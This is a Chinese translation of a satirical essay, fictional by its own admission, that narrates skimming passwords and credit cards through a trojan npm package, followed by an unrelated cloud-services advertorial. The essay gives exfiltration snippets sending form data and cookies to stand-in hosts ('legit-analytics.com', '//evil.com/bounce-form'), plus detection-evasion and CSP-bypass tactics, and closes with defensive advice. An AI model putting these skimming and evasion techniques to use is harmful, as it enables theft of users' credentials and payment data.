我是這樣拿走大家網站上的信用卡號跟密碼的!

「這篇文章是個真實故事,或者是改編自真實故事,又或者只是我瞎掰的。」
評論
Photo credit: Marco Verch on Flickr
評論

本篇刊登於 Medium,原文 I’m harvesting credit card numbers and passwords from your site. Here’s how.)INSIDE 經授權轉載。

這篇文章是個真實故事,或者是改編自真實故事,又或者只是我瞎掰的。

(本文譯自 I’m harvesting credit card numbers and passwords from your site. Here’s how.)

這個禮拜(譯註:原文寫作時,Meltdown 跟 Spectre 剛被揭露出來)根本是資訊安全恐慌週,幾乎每天都有新的資安漏洞被挖出來。這讓我這個禮拜過得很辛苦,每次被家人問到發生什麼事,都得要假裝自己很清楚狀況。

看到身邊的人因此處於「靠,我被駭了」的狀況,真的讓我大開眼界。

所以,我要來心情沈重的自首一下,讓大家知道過去幾年我怎麼從你們的網站上把帳號、密碼、跟信用卡號全部幹走。

惡意程式碼本身很簡單,在符合下面條件的頁面會啟動:

頁面有 <form>

有看起來像是 input[type="password"] 或 input[type="cardnumber"] 或 input[type="cvc"] 之類的頁面元素

頁面有「信用卡」「結帳」「帳號」「密碼」之類的文字

當信用卡號/密碼欄位有 blur 事件的時候,或是看到表單的 submit 事件的時候,我的程式會做這些事:

抓取頁面上所有表單的所有欄位裡面的資料 document.forms.forEach(...)

抓 document.cookie

把資料轉成看起來很隨機的字串 const payload = bota(JSON.stringfy(sensitiveUserData))

把資料送到 https://legit-analytics.com/?q=${payload}(當然這 domain 是隨便唬爛的)

總而言之,只要資料看起來有一點點用處,就把資料回傳到我的伺服器上。

當然,我在 2015 寫完這段程式的時候,他在我的電腦裡面一點用都沒有。我得把它野放,讓他住進你的網站。

有句來自 Google 金玉良言:

If an attacker successfully injects any code at all, it’s pretty much game over

如果攻擊者能成功注入任何程式碼,差不多就等於完蛋了

XSS 規模太小,而且這方面的防禦很完善。

Chrome Extension 也被鎖起來了。

不過我運氣很好,這年頭的人裝 npm 套件就跟吃止痛藥一樣,沒在管的。

我要以 npm 作為我的散佈管道,我就得生出一些多少有點用,讓人不會想太多就裝起來的小套件,作為我的特洛伊木馬。

人類喜歡看到顏色,這是人跟狗最大的差別。所以我寫了個套件可以在 console 裡面用各種顏色寫 log。

程式碼在這裏

我現在手上有個很吸睛的套件,這讓我很興奮。但是我不想坐在那邊等人慢慢發現我的套件。所以我打算到處發 PR,把我多采多姿的套件加到別人的安裝清單裡面。

於是乎,我發了幾百個 PR(用一堆不同的帳號,當然通通都不是 David Gilbertson)給各種前端套件,讓他們相依於我的套件。「嘿,我修正了這個問題,順便加了一些 log」。

媽,你看!我正在為 open source 做出貢獻呢!

當然有很多常識人會跳出來說,他們不希望增加新的相依套件。不過這算意料之中,重點是數量。

總而言之,這次作戰算成功。有 23 個套件直接把我的套件裝進去了。而其中有個套件被裝進另一個廣泛使用的套件使用,這下中獎了。我就不說是哪個套件,不過你可以想成我 left-pad 了一堆金庫。

這只是其中一個,我手上還有另外六個熱門套件。

我的程式現在每個月被下載十二萬次,然後我可以很驕傲的說,有不少 alexa 1000 大網站上面跑著我的程式,我拿到的帳號/密碼/信用卡資訊源源不絕。

回頭來看,有點難以想像人們花這麼多時間搞 XSS,只為了把程式插進一個網站。現在有網頁開發者們幫忙,我輕鬆的把程式推到成千上萬個網站上面。

也許你對我公然製造恐慌有些反對意見…

我會注意到有奇怪的 request 被送出來!

你要怎麼注意到有奇怪的 request?只要你打開 DevTool 我的程式就不會動作。就算你讓他顯示成獨立的視窗也一樣。

除此之外,如果程式跑在 localhost、或是透過 ip 位址連線、或是網址裡面包涵 dev /test / qa / uat / staging(前後夾著 \b word boundry),我的程式也不會動作。

這些 request 會被我們的滲透測試人員會在 HTTP 監控工具裡面抓出來!

他們的工作時間是什麼時候?我的程式在早上七點到晚上七點之間不會發送任何資料,這樣我收到的資料量會減半,但是能減少 95% 被發現的機會。

而且一個人的機密資訊我只需要拿一次,所以在我發送完訊息之後會在機器上做註記(用 local storage 或是寫 cookie),同一台裝置不會發送第二次訊息。

而且就算做滲透測試的人很有研究精神,真的把 cookie 清掉重試,我只會間歇性的發送這些資料(大約每七次會發一次,有稍微隨機化。這個頻率能有效地讓人抓蟲抓到想殺人)

除此之外,我的網址看起來就跟你的網站其他三百個 request 會用到的網址差不多。

我的重點是,你沒看到不表示事情沒發生。就我所知,這兩年來根本沒人注意到這些 request。搞不好你的網站上早就跑著我的程式碼:)

(新奇有趣小知識:我在把信用卡號跟密碼打包賣掉的時候,得要搜尋一下自己的信用卡,以免我把自己給賣掉了)

我在 GitHub 上面有看到你的程式碼!

你這麼天真可愛,讓我感到一陣溫暖。

但很不幸的,我完全可以在 GitHub 上貼一個版本,而 npm 上面送的是另一個不同的版本。

我的 package.json 裡面有定義 files 屬性,指到 lib 資料夾裡面。我把 minify 並 uglify 過的程式放在那裡面。我跑 npm publish 的時候會把這些程式送出去。但是 lib 在 .gitignore 裡面,所以不會被送上 GitHub。這樣的行為很常見,所以 GitHub 上的 code 看起來完全不可疑。

這其實不是 npm 的問題。就算我沒有分開不同的版本,是誰告訴你 /lib/package.min.js 一定是 /src/package.js 拿去 minify 來的?

所以你在 GitHub 上是找不到我的邪惡程式的。

我會去讀 node_modules 裡面所有 minify 過的程式碼!

我覺得你有點為反對而反對了。不過也可能你的意思是你可以寫一些厲害的東西自動檢查 node_modules 裡面的程式碼。

不過你還是沒辦法在我的程式裡面找到什麼有意義的東西。程式裡面沒有 fetch 或 XMLHttpRequest 之類的字串,也找不到我用的網址。我的 fetch 程式大概長這樣:

 

「gfudi」是「fetch」的每個字母往後移一位。這可是硬派的密碼學。

而 self 則是 window 的 alias。self[‘\u0066\u0065\u0074\u0063\u0068'](...) 則是另外一種花俏的呼叫 fetch(...) 的方式。

重點是:很難從認真混淆過的程式碼裡面挖出髒東西,你沒機會的。

(講是這樣講,其實我不會去用 fetch 那麼俗氣的東西。如果可以的話,我傾向用 new EventSource(urlWithYourPreciousData)。就算你疑心病夠重,會用 serviceWorker 去聽 fetch event,我還是可以偷偷摸摸地溜出去。如果瀏覽器支援 serviceWorker 但是不支援 EventSource,我就什麼都不送)

我有設定 Content Security Policy!

噢,你有設啊。

是不是有人告訴過你設定 CSP 能夠避免資料被送往不該送的壞壞網址呢?我其實不喜歡破壞孩子的夢想,不過下面這四行程式就算是最嚴格的 CSP 也能夠輕鬆繞過:

 

(這篇文章我原本是寫著好好設定 content security policy 的話能夠讓你「百分之百安全」。很不幸的,在十三萬人看過這篇文章之後,我發現還有上面這一招。我想這件事的教訓是,千萬不要相信網路上的任何人或任何文章)

不過 CSP 也不是完全沒用,上面那招只有在 Chrome 裡面有用。而且嚴謹的 CSP 設定說不定能夠在一些比較少人用的瀏覽器裡面把我給擋下來。

如果你還不知道,content security policy 能(試著)限制瀏覽器能夠發出的網路請求。通常這會被說成你允許瀏覽器載入哪些東西,不過你也可以想成這是在保護你能送出什麼東西(我說的「送出」個人資料,其實也就是 GET request 的 query param 而已)

如果我沒辦法用 prefetch 那招送出資料,CSP 對我的信用卡收集業務會有點棘手。這可不只是因為他會阻止我的邪惡行為而已。

如果我從有 CSP 的網站送資料,他可能會通知網站管理員有訊息發送失敗(如果有指定 report-uri)。他們可能會追到我的程式,然後打電話給我媽,讓我吃不完兜著走。

我做人一向低調(除非在夜店裡面),所以我在送資料之前會先檢查 CSP。

我的做法是在現在的頁面發一個假的請求,然後去讀 header:

 

然後我就能開始找你的 CSP 裡面的漏洞。我很意外的發現 Google 的登入頁面的 CSP 沒設好,如果我的程式跑在那上面我就能拿到你的帳號密碼。他們沒有設定 connect-src,而且也沒有設定最終防衛線 default-src,所以只要我想要,我就可以開心的把你的個人資訊送出來。

如果你發一封內含十美金的信給我,我會告訴你我的程式碼是不是真的跑在 Google 登入頁面上。

Amazon 在你打信用卡的頁面根本沒設定 CSP,eBay 也一樣。

Twitter 跟 PayPal 有 CSP,不過要繞過也是很簡單。他們犯了一樣的錯誤,這很可能表示有一大堆人都犯了一樣的錯誤。他們的防護乍看之下很堅實,有設定 default-src 這個最終防衛線,但問題是最終防衛線其實有洞,他們沒有把 form-action 鎖起來。

所以在我檢查你的 CSP(還檢查了兩次)的時候,如果其他東西都被鎖掉了,但是 form-action 沒有被鎖,我會直接修改頁面上所有表單的 action(你按「登入」的時候資料會送到哪裡)

Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);

好了,感謝你把你的 PayPal 帳號密碼寄給我。我會用你的錢買一堆東西,拍張照片,然後做成感謝卡寄給你。

當然,這招只會做一次,然後把使用者踹回原本的登入頁面,然後他們會感到迷惑,然後重新登入一次。

(我用這招接管了川普的 Twitter 帳號,而且發了一堆亂七八糟的鬼扯蛋,不過好像沒人注意到)

好,我開始緊張了,我該怎麼辦?

方案一:

這裡很安全
這裡很安全

方案二:

只要頁面上有你不希望我(或是跟我一樣的攻擊者)拿到的資料,不要用任何 npm 套件、或是 Google Tag Manager、或是廣告、或是分析、或是其他任何不是你自己寫的程式。

就像是這篇的建議,你可能會想要考慮做一個輕巧獨立,專門用來登入以及輸入信用卡資訊的頁面,用 iframe 載入。

你當然可以在你的 header/footer/nav/其他地方把你又大又棒的的 React app 跟其他 138 個 npm 套件裝進來,但是使用者輸入資訊的地方應該要是個包在 sandbox 裡面的 iFrame。如果你有需要做 client side 驗證,那裡面只能跑你自己寫的(而且我會建議是沒有 minify 過的)JavaScript。

我很快就會貼出我把蒐集到的信用卡賣給帶著帥帥的帽子的幫派份子的收入的 2017 年度報告。依照法律規定,我得列出我拿到最多信用卡資料的網站,搞不好你的網站是其中一個?

不過像我這樣風度翩翩的男人,只要你的網站在 1/12 之前(譯註:原文寫於 2018/01/06)把我的撈資料程式擋掉,我就會把你從清單移掉,讓你不用被公開羞辱。

認真說

我知道我的靠北對於還在學英文的人(以及不夠靈光的人)來說有點難懂。所以我要先說清楚,我並沒有真的做會偷別人資料的 npm 套件。這篇文章完全是虛構的。然而,這篇文章的內容是可行的,我也希望這篇文章能有點教育意義。

雖然這篇文章是假的,但是這個套路並不難,這讓我很擔心。

這個世界上聰明的壞人很多,而且 npm 套件有四十萬個。我認為其中總是會有哪個套件心懷不軌。而壞人如果把事情作對,你很可能根本看不見查不到。

總結

所以這篇文章的重點是什麼?只是想要找個人指著說「啊哈哈哈你看看你超 suck」嗎?

不,絕對不是(好吧,一開始是,不過我後來發現自己也滿 suck 的,我就改變路線了)

我的目的(以結果來說)只是想要指出,任何裝了第三方的程式碼的網站都等於是開了一個大洞,而且完全偵測不到。


上雲猶如太空探險之旅,iKala Cloud AIOps Services協助企業輕鬆穿梭多雲環境

人類從上個世紀積極探索外太空,為了將太空人送上天際必須克服各式挑戰,而現代企業要從「地端」飛向「雲端」,困難程度有過之而無不及。iKala Cloud AIOps Services 提供多項關鍵服務,幫助 IT 團隊輕鬆悠遊多雲環境。
評論
評論

探索外太空,曾經是國際間的科技競賽,近年 Tesla 創辦人馬斯克更準備把太空旅行當成商業服務,預計 2026 年要帶著人類登陸火星。完成一趟星際旅行,需仰賴嶄新的科技及跨科學精密計算,但你知道嗎?現代企業要從「地端」飛上「雲端」,其實挑戰程度不亞於飛向太空。

對企業資訊管理者來說,有限的 IT 資源無法應付繁重的維運項目,加上同時管理公私有雲架構更顯困難、資安管理複雜,例如需要人工執行過濾警示,各種大大小小挑戰不勝枚舉。換言之,企業想航行雲端,就像打造火箭需要龐大資源及人力。不過,現在有更輕鬆穿梭雲端的方式,就是使用雲端技術服務商 iKala 所提供的 AIOps Services(自動化雲端託管服務)

火箭升空前的全盤規劃:iKala AIOps 擬定系統架構規劃、教育訓練

完成一趟太空之旅,必須做足各種研究,例如精準計算飛行軌道、降落定位點、燃料耗用數、與地球通訊設定…等。

對沒有雲端架構經驗的企業來說,就如同當時的科學家,必須用土法煉鋼的方式檢查數據是否有誤。換言之,企業 IT 在升級之前,就需要有經驗的「雲端顧問」來釐清需求、協助規劃「升雲」之旅。而 iKala 就是企業的最佳雲端顧問,旗下 iKala Cloud AIOps Services 會搭配一位專責的技術客戶經理,協助企業提供即時的技術服務與專業建議。

究竟 IT 升級之前,iKala Cloud AIOps Services 有哪些服務?首先是「系統設計規劃」,涵蓋系統架構規劃書、系統上線/遷移計畫書,可因應客戶產業需求,提供對應的解決方案以及顧問服務。而越來越多企業會使用到 Google 的雲端資源,iKala 也有提供 Google 雲端平台訓練服務。

GCP 教育訓練課程多元,包含 GCP 基礎架構(網路設定規劃、權限控管、計算資源等)、大數據與機器學習(大數據分析 Pipeline、BigQuery、ML 模型訓練與應用)、軟體開發技術與流程(容器化、CI/CD、DevOps)等。因為 iKala 團隊取得 10 多項 Google 專業技術證照,才能在企業規劃雲端轉型的前期就一步到位,規劃出整體藍圖,提供更全面的解決方案建議。

火箭升空中的精密操作:iKala AIOps 輔助即時技術維運、資安管理

當火箭準備就緒、升空倒數之際便是決定這趟太空之旅能否成功的關鍵時刻。從太空人的行前訓練與身體檢查,到火箭的引擎測試完成,如果有靜電或一點火花都可能引發爆炸事故。光是在升空階段,太空總部就要有結構、熱控、姿態控制、資料處理、電能、遙傳指令、推進以及飛行軟體等龐大的系統工程師在旁待命。

換言之,企業 IT 移轉雲端過程就像火箭發射的當下,需要有專業、經驗足夠的工程師,才能即時協助企業順利上雲,甚至快速排除緊急的狀況。對此,iKala Cloud AIOps Services 提供兩大關鍵的幫助:技術維運、資訊安全管理。

iKala Cloud AIOps Services 的技術維運服務內容,提供 7 x 24 的 Help Desk,像是緊急 GCP 問題報修、產品使用技術諮詢;或是事故管理,如搭建監控系統、設定規劃告警政策、規劃日誌收集與留存。每月也會提供企業維運報告,報告書有營運效率檢討、流程優化、新服務項目、營運系統建議等。

至於資訊安全管理方面,除了基本的 GCP 專案權限控管掃描、應用程式 OWASP(Open Web Application Security Project)前 10 大項目資安弱點掃描,同時也針對近年相當受重視的 DDoS 防護,iKala 可協助企業導入 GCP 平台的 DDOS 防禦機制。iKala 掌握多年軟體開發和雲端管理經驗,可分享給客戶 DevOps、AI 第一手實務的作法與經驗。

火箭升空後啟動自動導航:iKala AIOps 提供 AI 自動化監控、帳務管理

當火箭成功升空後,太空人為了執行下一階段任務,這時候火箭就需要轉換成自動駕駛模式,或在探索其他星球時,出動機器人來協助執行人力無法負荷的任務,讓太空人專心處理更關鍵的工作。換言之,上雲後的 IT 架構就像升空後的火箭,應該減少 IT 人員的負擔,甚至不需浪費例行時間,就能夠快速掌握整體資訊系統的運作狀況。

不過要讓 IT 架構像火箭具備自動駕駛功能,勢必需要相當高的技術門檻,而 iKala Cloud AIOps Services 正好有相對應的服務。如此一來,IT 人員的生產力就能投入在更具商業價值的研發專案,讓 IT 部門轉型成可創造產值的單位,而非單純的後勤支援角色。

盤點 iKala Cloud AIOps Services 在此環節共有三大類服務。其中一項是 AI 自動化監控與通報服務,幫助 IT 成員主動監控系統,掌握是否有異常操作狀況。其二是帳務方面的管理,幫助企業產出雲端服務月用量帳務分析報告,針對軟體授權需求,整合出帳至  Marketplace 與第三方服務商,自動化做到 License 採購管理。

第三項則是針對服務級別協定(SLA)iKala Cloud AIOps Services 提供 24 x 7、5 x 8 兩種模式,在重大 GCP 服務異常中斷服務時,提供電話、e-mail 聯繫。而且每月會舉辦 1 次月會(以 on-site 或遠端視訊會議方式)提交書面報告。目前 iKala 的企業客戶服務超過 400 多家、涵蓋數 10 種產業,可說是企業成功上雲,最能安心託付的合作夥伴。 

事實上,雲端託管服務(CMS)是目前最夯的新趨勢,根據市調公司 MarketsandMarkets Research 報告指出,全球雲端託管服務的市場規模,預計從 2020 年的 624 億美元,到 2025 年成長至 1,162 億美元,複合年增長率(CAGR)為 13.3%。代表未來有大量企業採用 CMS,以降低 IT 基礎設施的投資成本及風險,藉此提升企業營運的競爭力。

由此看來,企業的數位轉型,就像上個世紀的太空軍備競賽一樣。「時間就是決勝點」,越晚起步的公司與其他數位能力領先群的企業相比,差距只會越來越大。現在就攜手 iKala 嘗試 iKala Cloud AIOps Services,打造穩定的 IT 系統、邁向數據驅動的商業模式,讓企業在數位世代站穩腳步,輕鬆穿梭多雲之間。

了解更多 iKala Cloud AIOps Services